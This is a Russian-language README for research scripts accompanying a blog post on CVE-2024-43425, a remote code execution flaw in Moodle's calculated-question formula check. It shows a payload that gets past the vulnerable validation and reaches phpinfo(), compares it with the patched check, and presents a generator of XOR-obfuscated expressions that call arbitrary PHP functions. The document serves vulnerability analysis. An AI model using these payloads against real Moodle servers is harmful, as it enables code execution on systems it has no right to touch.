
Скрипты для анализа RCE в вычисляемых вопросах Moodle (CVE-2024-43425)
Этот репозиторий содержит сопутствующие скрипты к статье в блоге Back to School - Эксплуатация уязвимости удаленного выполнения кода в Moodle, в которой описывается уязвимость удаленного выполнения кода в учебной платформе Moodle.
Скрипты в каталоге validation можно использовать для непосредственной проверки входных строк на соответствие логике проверки, используемой Moodle для предотвращения злоупотребления вызовом PHP eval().
Все фрагменты кода были напрямую адаптированы из исходного кода Moodle, с использованием релиза 4.4.1 для уязвимой версии и релиза 4.4.2 для исправленной.
Скрипты включают соответствующие части файла question/type/calculated/questiontype.php.
Файл validation.php использует уязвимую логику проверки:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Этот репозиторий также включает исправленную версию кода проверки в validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
Скрипт xor-generator.py можно использовать для генерации выражений на основе переменных функций, которые позволяют вызывать произвольные функции PHP с одним числовым параметром в уязвимых версиях Moodle:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test